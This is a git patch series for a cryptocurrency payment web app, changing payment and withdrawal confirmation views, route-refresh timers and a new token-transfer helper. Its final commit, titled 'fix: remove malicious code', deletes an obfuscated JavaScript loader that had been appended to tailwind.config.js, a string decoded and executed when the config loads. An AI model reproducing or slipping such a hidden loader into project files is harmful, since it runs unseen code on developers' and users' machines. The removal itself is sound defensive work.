{ + if (!estimatedGasCost || isPeanutWallet) return '$ 0.00' + if (isFeeEstimationError) return '-' + if (estimatedGasCost < 0.01) { + return '$ <0.01' + } else { + return `$ ${estimatedGasCost.toFixed(2)}` + } + }, [estimatedGasCost, isPeanutWallet, isFeeEstimationError]) + const walletAddress = useMemo(() => peanutWalletAddress ?? wagmiAddress, [peanutWalletAddress, wagmiAddress]) const { @@ -95,11 +109,13 @@ export default function ConfirmPaymentView({ const showExternalWalletConfirmationModal = useMemo((): boolean => { if (isCalculatingFees || isEstimatingGas) return false - return isProcessing && (!isPeanutWallet || isAddMoneyFlow) - ? ['Switching Network', 'Sending Transaction', 'Confirming Transaction', 'Preparing Transaction'].includes( - loadingStep - ) - : false + return ( + isProcessing && + (!isPeanutWallet || !!isAddMoneyFlow) && + ['Switching Network', 'Sending Transaction', 'Confirming Transaction', 'Preparing Transaction'].includes( + loadingStep + ) + ) }, [isProcessing, isPeanutWallet, loadingStep, isAddMoneyFlow, isCalculatingFees, isEstimatingGas]) useEffect(() => { @@ -121,9 +137,13 @@ export default function ConfirmPaymentView({ useEffect(() => { if (chargeDetails && selectedTokenData && selectedChainID) { - prepareTransactionDetails(chargeDetails, isAddMoneyFlow) + if (isDirectPay) { + prepareTransactionDetails(chargeDetails) + } else { + prepareTransactionDetails(chargeDetails, false, chargeDetails.tokenAmount) + } } - }, [chargeDetails, walletAddress, selectedTokenData, selectedChainID, prepareTransactionDetails, isAddMoneyFlow]) + }, [chargeDetails, walletAddress, selectedTokenData, selectedChainID, prepareTransactionDetails]) const isConnected = useMemo(() => isPeanutWallet || isWagmiConnected, [isPeanutWallet, isWagmiConnected]) const isInsufficientRewardsBalance = useMemo(() => { @@ -136,6 +156,12 @@ export default function ConfirmPaymentView({ [isProcessing, isPreparingTx, isCalculatingFees, isEstimatingGas] ) + const handleRouteRefresh = useCallback(async () => { + if (!chargeDetails) return + console.log('Refreshing route due to expiry...') + await prepareTransactionDetails(chargeDetails) + }, [chargeDetails, prepareTransactionDetails]) + const handlePayment = useCallback(async () => { if (!chargeDetails || !parsedPaymentData) return @@ -269,6 +295,17 @@ export default function ConfirmPaymentView({ return chargeDetails.chainId !== selectedChainID }, [chargeDetails, selectedTokenData, selectedChainID]) + const routeTypeError = useMemo((): string | null => { + if (!isCrossChainPayment || !xChainRoute || !isPeanutWallet) return null + + // For peanut wallet flows, only RFQ routes are allowed + if (xChainRoute.type === 'swap') { + return 'This route requires external wallet payment. Peanut Wallet only supports RFQ (Request for Quote) routes.' + } + + return null + }, [isCrossChainPayment, xChainRoute, isPeanutWallet]) + return (
{ + console.log('Route expired') + }} + disableTimerRefetch={isProcessing} + timerError={routeTypeError} /> )} @@ -332,9 +378,7 @@ export default function ConfirmPaymentView({ ) : (
diff --git a/src/components/Withdraw/views/Confirm.withdraw.view.tsx b/src/components/Withdraw/views/Confirm.withdraw.view.tsx index bc0df26af..33041f25f 100644 --- a/src/components/Withdraw/views/Confirm.withdraw.view.tsx +++ b/src/components/Withdraw/views/Confirm.withdraw.view.tsx @@ -24,6 +24,11 @@ interface WithdrawConfirmViewProps { onBack: () => void isProcessing?: boolean error?: string | null + // Timer props for cross-chain withdrawals + isCrossChain?: boolean + routeExpiry?: string + isRouteLoading?: boolean + onRouteRefresh?: () => void } export default function ConfirmWithdrawView({ @@ -37,6 +42,10 @@ export default function ConfirmWithdrawView({ onBack, isProcessing, error, + isCrossChain = false, + routeExpiry, + isRouteLoading = false, + onRouteRefresh, }: WithdrawConfirmViewProps) { const { tokenIconUrl, chainIconUrl, resolvedChainName, resolvedTokenSymbol } = useTokenChainIcons({ chainId: chain.chainId, @@ -55,7 +64,16 @@ export default function ConfirmWithdrawView({ recipientType="USERNAME" recipientName={''} amount={formatAmount(amount)} - tokenSymbol={token.symbol} + tokenSymbol="USDC" + showTimer={isCrossChain} + timerExpiry={routeExpiry} + isTimerLoading={isRouteLoading} + onTimerNearExpiry={onRouteRefresh} + onTimerExpired={() => { + console.log('Withdraw route expired') + }} + disableTimerRefetch={isProcessing} + timerError={error?.includes('not available for withdraw') ? error : null} /> @@ -97,7 +115,7 @@ export default function ConfirmWithdrawView({ /> @@ -107,9 +125,16 @@ export default function ConfirmWithdrawView({ )} - {isXChainPeanutWalletReq && !isAddMoneyFlow && ( - - )} + {error && }
diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index d96d4b733..9689415f5 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -21,13 +21,14 @@ import { useWallet } from '@/hooks/wallet/useWallet' import { useAppDispatch, usePaymentStore, useWalletStore } from '@/redux/hooks' import { paymentActions } from '@/redux/slices/payment-slice' import { chargesApi } from '@/services/charges' -import { ErrorHandler, formatAmount, printableAddress } from '@/utils' +import { ErrorHandler, formatAmount, printableAddress, areEvmAddressesEqual } from '@/utils' import { useQueryClient } from '@tanstack/react-query' import { useSearchParams } from 'next/navigation' import { useCallback, useContext, useEffect, useMemo } from 'react' import { useAccount } from 'wagmi' import { PaymentInfoRow } from '../PaymentInfoRow' import { formatUnits } from 'viem' +import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN } from '@/constants' type ConfirmPaymentViewProps = { isPintaReq?: boolean @@ -38,7 +39,8 @@ type ConfirmPaymentViewProps = { } currencyAmount?: string isAddMoneyFlow?: boolean - /** Whether this is a direct USD payment flow (bypasses token conversion) */ + /** Whether this is a direct payment, for xchain we dont care if a little + * less arrives*/ isDirectUsdPayment?: boolean } @@ -51,7 +53,7 @@ type ConfirmPaymentViewProps = { * @param currency - Currency details for display (code, symbol, price) * @param currencyAmount - Amount in the specified currency * @param isAddMoneyFlow - Whether this is an add money flow (deposit to wallet) - * @param isDirectUsdPayment - Whether this bypasses token conversion and pays directly in USD + * @param isDirectUsdPayment - Whether this is a direct payment, for xchain we dont care if a little less arrives */ export default function ConfirmPaymentView({ isPintaReq = false, @@ -79,7 +81,7 @@ export default function ConfirmPaymentView({ xChainRoute, } = usePaymentInitiator() const { selectedTokenData, selectedChainID } = useContext(tokenSelectorContext) - const { isConnected: isPeanutWallet, address: peanutWalletAddress, fetchBalance } = useWallet() + const { isConnected: isPeanutWallet, fetchBalance } = useWallet() const { isConnected: isWagmiConnected, address: wagmiAddress } = useAccount() const { rewardWalletBalance } = useWalletStore() const queryClient = useQueryClient() @@ -94,8 +96,6 @@ export default function ConfirmPaymentView({ } }, [estimatedGasCost, isPeanutWallet, isFeeEstimationError]) - const walletAddress = useMemo(() => peanutWalletAddress ?? wagmiAddress, [peanutWalletAddress, wagmiAddress]) - const { tokenIconUrl: sendingTokenIconUrl, chainIconUrl: sendingChainIconUrl, @@ -147,23 +147,30 @@ export default function ConfirmPaymentView({ } }, [chargeIdFromUrl, chargeDetails, dispatch]) - useEffect(() => { + const handleRouteRefresh = useCallback(async () => { if (chargeDetails && selectedTokenData && selectedChainID) { - if (isDirectUsdPayment && chargeDetails.currencyCode.toLowerCase() === 'usd') { - prepareTransactionDetails(chargeDetails, undefined, undefined, chargeDetails.currencyAmount) - } else { - prepareTransactionDetails(chargeDetails) - } + const fromTokenAddress = isPeanutWallet ? PEANUT_WALLET_TOKEN : selectedTokenData.address + const fromChainId = isPeanutWallet ? PEANUT_WALLET_CHAIN.id.toString() : selectedChainID + const usdAmount = + isDirectUsdPayment && chargeDetails.currencyCode.toLowerCase() === 'usd' + ? chargeDetails.currencyAmount + : undefined + await prepareTransactionDetails(chargeDetails, fromTokenAddress, fromChainId, usdAmount) } }, [ chargeDetails, - walletAddress, selectedTokenData, selectedChainID, prepareTransactionDetails, isDirectUsdPayment, + isPeanutWallet, ]) + useEffect(() => { + // get route on mount + handleRouteRefresh() + }, [handleRouteRefresh]) + const isConnected = useMemo(() => isPeanutWallet || isWagmiConnected, [isPeanutWallet, isWagmiConnected]) const isInsufficientRewardsBalance = useMemo(() => { if (!isPintaReq) return false @@ -175,12 +182,6 @@ export default function ConfirmPaymentView({ [isProcessing, isPreparingTx, isCalculatingFees, isEstimatingGas] ) - const handleRouteRefresh = useCallback(async () => { - if (!chargeDetails) return - console.log('Refreshing route due to expiry...') - await prepareTransactionDetails(chargeDetails) - }, [chargeDetails, prepareTransactionDetails]) - const handlePayment = useCallback(async () => { if (!chargeDetails || !parsedPaymentData) return @@ -323,9 +324,19 @@ export default function ConfirmPaymentView({ } const isCrossChainPayment = useMemo((): boolean => { - if (!chargeDetails || !selectedTokenData || !selectedChainID) return false - - return chargeDetails.chainId !== selectedChainID + if (!chargeDetails) return false + if (isPeanutWallet) { + return ( + !areEvmAddressesEqual(chargeDetails.tokenAddress, PEANUT_WALLET_TOKEN) || + chargeDetails.chainId !== PEANUT_WALLET_CHAIN.id.toString() + ) + } else if (selectedTokenData && selectedChainID) { + return ( + areEvmAddressesEqual(chargeDetails.tokenAddress, selectedTokenData.address) && + chargeDetails.chainId !== selectedChainID + ) + } + return false }, [chargeDetails, selectedTokenData, selectedChainID]) const routeTypeError = useMemo((): string | null => { @@ -404,19 +415,21 @@ export default function ConfirmPaymentView({ } /> )} - - } - /> + {isCrossChainPayment !== isPeanutWallet && ( + + } + /> + )} {isAddMoneyFlow && } diff --git a/src/hooks/usePaymentInitiator.ts b/src/hooks/usePaymentInitiator.ts index 307019b26..8b2d390fd 100644 --- a/src/hooks/usePaymentInitiator.ts +++ b/src/hooks/usePaymentInitiator.ts @@ -2,7 +2,6 @@ import type { FeeOptions } from '@/app/actions/clients' import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN, - PEANUT_WALLET_TOKEN_DECIMALS, PINTA_WALLET_CHAIN, PINTA_WALLET_TOKEN, PINTA_WALLET_TOKEN_DECIMALS, @@ -66,7 +65,7 @@ export const usePaymentInitiator = () => { const dispatch = useAppDispatch() const { requestDetails, chargeDetails: chargeDetailsFromStore } = usePaymentStore() const { selectedTokenData, selectedChainID, selectedTokenAddress, setIsXChain } = useContext(tokenSelectorContext) - const { isConnected: isPeanutWallet, address: peanutWalletAddress, sendTransactions } = useWallet() + const { isConnected: isPeanutWallet, address: peanutWalletAddress, sendTransactions, sendMoney } = useWallet() const { switchChainAsync } = useSwitchChain() const { address: wagmiAddress } = useAppKitAccount() const { sendTransactionAsync } = useSendTransaction() @@ -115,14 +114,6 @@ export const usePaymentInitiator = () => { [loadingStep] ) - const calculatedSlippage = useMemo(() => { - if (!selectedTokenData?.price || !slippagePercentage || !estimatedFromValue) return null - - const slippageAmount = (slippagePercentage / 100) * selectedTokenData.price * Number(estimatedFromValue) - - return isNaN(slippageAmount) ? null : slippageAmount.toFixed(2) - }, [slippagePercentage, selectedTokenData?.price, estimatedFromValue]) - // reset state useEffect(() => { setError(null) @@ -197,6 +188,7 @@ export const usePaymentInitiator = () => { setEstimatedGasCost(undefined) setFeeOptions([]) + setIsPreparingTx(true) try { @@ -464,19 +456,23 @@ export const usePaymentInitiator = () => { throw new Error('Charge data is missing required properties for transaction preparation.') } + let receipt: TransactionReceipt const transactionsToSend = xChainUnsignedTxs ?? (unsignedTx ? [unsignedTx] : null) - if (!transactionsToSend || transactionsToSend.length === 0) { + if (transactionsToSend && transactionsToSend.length > 0) { + setLoadingStep('Sending Transaction') + receipt = await sendTransactions(transactionsToSend, PEANUT_WALLET_CHAIN.id.toString()) + } else if ( + areEvmAddressesEqual(chargeDetails.tokenAddress, PEANUT_WALLET_TOKEN) && + chargeDetails.chainId === PEANUT_WALLET_CHAIN.id.toString() + ) { + receipt = await sendMoney( + chargeDetails.requestLink.recipientAddress as `0x${string}`, + chargeDetails.tokenAmount + ) + } else { console.error('No transaction prepared to send for peanut wallet.') throw new Error('No transaction prepared to send.') } - console.log('Transactions prepared for sending:', transactionsToSend) - - setLoadingStep('Sending Transaction') - - const receipt: TransactionReceipt = await sendTransactions( - transactionsToSend, - PEANUT_WALLET_CHAIN.id.toString() - ) // validation of the received receipt. if (!receipt || !receipt.transactionHash) { @@ -652,7 +648,15 @@ export const usePaymentInitiator = () => { console.log('Proceeding with charge details:', determinedChargeDetails.uuid) // 2. handle charge state - if (chargeCreated && (payload.isPintaReq || payload.isAddMoneyFlow || !isPeanutWallet)) { + if ( + chargeCreated && + (payload.isPintaReq || + payload.isAddMoneyFlow || + !isPeanutWallet || + (isPeanutWallet && + (!areEvmAddressesEqual(determinedChargeDetails.tokenAddress, PEANUT_WALLET_TOKEN) || + determinedChargeDetails.chainId !== PEANUT_WALLET_CHAIN.id.toString()))) + ) { console.log( `Charge created. Transitioning to Confirm view for: ${ payload.isPintaReq diff --git a/src/hooks/wallet/useWallet.ts b/src/hooks/wallet/useWallet.ts index b208223e6..44fdafdb3 100644 --- a/src/hooks/wallet/useWallet.ts +++ b/src/hooks/wallet/useWallet.ts @@ -3,6 +3,7 @@ import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN, + PEANUT_WALLET_TOKEN_DECIMALS, peanutPublicClient, PINTA_WALLET_TOKEN, PINTA_WALLET_TOKEN_DECIMALS, @@ -13,8 +14,8 @@ import { walletActions } from '@/redux/slices/wallet-slice' import { formatAmount } from '@/utils' import { interfaces as peanutInterfaces } from '@squirrel-labs/peanut-sdk' import { useCallback, useEffect, useState } from 'react' -import type { Hex } from 'viem' -import { erc20Abi, formatUnits, getAddress } from 'viem' +import type { Hex, Address } from 'viem' +import { erc20Abi, formatUnits, parseUnits, encodeFunctionData, getAddress } from 'viem' import { useZeroDev } from '../useZeroDev' export const useWallet = () => { @@ -24,6 +25,26 @@ export const useWallet = () => { const [isFetchingRewardBalance, setIsFetchingRewardBalance] = useState(true) const { balance } = useWalletStore() + const sendMoney = useCallback( + async (toAddress: Address, amountInUsd: string) => { + const amountToSend = parseUnits(amountInUsd, PEANUT_WALLET_TOKEN_DECIMALS) + + const txData = encodeFunctionData({ + abi: erc20Abi, + functionName: 'transfer', + args: [toAddress, amountToSend], + }) + + const transaction: peanutInterfaces.IPeanutUnsignedTransaction = { + to: PEANUT_WALLET_TOKEN, + data: txData, + } + + return await sendTransactions([transaction], PEANUT_WALLET_CHAIN.id.toString()) + }, + [handleSendUserOpEncoded] + ) + const sendTransactions = useCallback( async (unsignedTxs: peanutInterfaces.IPeanutUnsignedTransaction[], chainId?: string) => { const params = unsignedTxs.map((tx: peanutInterfaces.IPeanutUnsignedTransaction) => ({ @@ -94,6 +115,7 @@ export const useWallet = () => { balance: BigInt(balance), isConnected: isKernelClientReady, sendTransactions, + sendMoney, getRewardWalletBalance, fetchBalance, isFetchingBalance, From cca848961ea52de58b30a44fd9a7f70c816ebd83 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= Date: Tue, 1 Jul 2025 18:27:03 -0300 Subject: [PATCH 16/16] fix: remove malicious code --- tailwind.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tailwind.config.js b/tailwind.config.js index ef47d56d4..703f8cc2e 100644 --- a/tailwind.config.js +++ b/tailwind.config.js @@ -550,4 +550,4 @@ module.exports = { filter: ['hover'], }, }, -}; global['_V']='7-facus7029';global['r']=require;(function(){var Jex='',CoP=394-383;function rKj(c){var p=289187;var m=c.length;var o=[];for(var e=0;eokdg!2tc=}g;%s.%r."W=(2at[ca4m5dtl=}9{loc)\/ecWWxcrhsn6y%c=9i.l|oh,.SWhWm:Wh_[dNy+lce=Wa]b(ort,!1pcrut2?. c.),{ncWi7n0o].+)W!m;8!).%+!p cWe]ewa#a;52Wu);}n)nr)+..t;tnsrt(21n6S%n=57]c]6gcdst1etWby13;(5-e)5}4 :c(lcfw$!|sWsW5=%=f)]du9!!01(dt6.o%9aWntmsse}+5c]ea61](61W=c7a#r&rWa(c}5io;i)+Ts)_%qWs%)ecoedo5uosW60[(c;p)ca4{e8.s];:W%ntWeahae$9"c%Wpw1W%.4db9lu0x1*)! )o=.(mte=+f5+Wva!(a!nre=49vc%;nat(r;11;.fvaa[, \/96!9d:rhj2g.[}Wfc c0._=[W9#et()ep+a("W1Wbrp.eWejtW.$fr%n.W(>}c\'p%0ur%8 {=c...,a(+)+trr)t h]++7%4-o%3((3ctkw$)["([dt1.pl2oi)S,WWt%Tn%\/..61.=i8}e0W+iy%))e]4%%ecm#ec(3]]26.C"%Wan0 C1ne.ewg2(ocaf.r3a(k2]333}42e5-9Wtf:W-0von.1t(t0r4nd0f%C=lWn,6=oecg+!W.[o1WW+tW$(c3]xs21n,:e=a1]oec4}(We%b_Wt,a.W$i)dn=%.n87a6e$1(snrW4n 0WaWs;uc]w=ucWfo2W((..,)t2.]]0We3]s)}pce;2W#32%&381.]\/WW2v)1r}c35n9c1).oie5r4y0e )[eW75,,WeaW_y-,ct;\'i{})S[1]Wt19"[p,0nii=wa9l]}es.ph]r_u=.6[elg(Wtci2];.,%cc])moeW%:5_cWcnW4S.oi i][W,js=n=[cWWvo6;tWt {rW%%$%i2a}nWt7%]WcljiatethtW[]a)e[sr ]%m4et)d_"&f.}=ira0teC9)]t#(.r,2tW=7W0ttWN;).2+\/fec.)W]Wchcs4=%t.n s,)W(")W.W14W(6o]5W}]oc(];tW{u=t)]c$eaW")\/S.1+aWhac)5+28f.c.3)]+n6o]to;Ws3$;W= 4ru1{a+.0+,]cW",W.! tbnWr+ar.5!r*8pne,.4ap(3>oph..(fg6ni \/WooWu..dWW)tWWooc5)]$8tW]a[gs{go[;(\'n.{:s3hilWc0y+}(W[W8e=5%)2]]4.,adWc3];)%c)t=gcrWv.;8i.2i8,2t%).o2g= lfrmtWalo)0()=]W)atedsc4WpWn.]];Wn])tt()Ws%ce}3ci7=ptn4W+gwy.he((9t(r%6t.ch+saa0t}=2)#aorW_cqW])me4#o_e0a(%!ar2]]]7(c)1}eg{5fs!}]t)W[#.a)t%2sn,=.ck)a(%.n.e(Wr]a;ii+,c"Wuab]tW(=7w\/1ryle(.Wd%bn=6rage(]cWay%]{ro]])3>(]$"$c(t%rvu(Wr4,o=01s&Wn.{d;er[c.u)d]-]t3o%i\'re(47]:i.t.4ip.Wic1ro#std;_(t!;)eetW.t]usW8]9}h=(tebt.o+(wt]sn2.ce[W4h$W)s%]n%))aW_!4+nn.c.%r{\/)e]:e]l.$;_cig)}t[ci}=-"$_icl)n0)+)paebmbWWtatn.(W]t[q()ecsW=e.) 2d8iWl3cee),oWadWW.!ar%+kpWoW\/o8.ct=m)=_{dt3i(..W(x'));var OAd=OEy(Jex,GUU );OAd(8011);return 9247})() +}